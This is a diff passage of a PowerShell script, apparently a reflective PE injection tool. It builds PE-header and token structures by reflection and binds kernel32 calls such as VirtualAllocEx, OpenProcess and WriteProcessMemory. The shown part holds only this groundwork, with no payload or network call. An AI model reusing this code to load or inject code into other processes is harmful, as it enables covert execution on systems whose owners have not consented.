SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) - $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null - $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY - - #Struct LUID - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) - $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null - $LUID = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID - - #Struct LUID_AND_ATTRIBUTES - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) - $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null - $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null - $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES - - #Struct TOKEN_PRIVILEGES - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) - $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null - $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES - - return $Win32Types - } - - Function Get-Win32Constants - { - $Win32Constants = New-Object System.Object - - $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 - $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 - $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 - $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 - $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 - - return $Win32Constants - } - - Function Get-Win32Functions - { - $Win32Functions = New-Object System.Object - - $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc - $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) - $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc - - $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx - $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) - $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx - - $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy - $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) - $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy - - $memsetAddr = Get-ProcAddress msvcrt.dll memset - $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) - $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset - - $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA - $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) - $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary - - $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress - $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) - $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress - - $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself - $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) - $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr - - $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree - $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) - $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree - - $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx - $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) - $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx - - $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect - $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) - $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect - - $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA - $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) - $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) - $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle - - $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary - $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool]) - $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary - - $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess - $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) - $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess - - $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject - $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) - $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject - - $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + ) + + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + 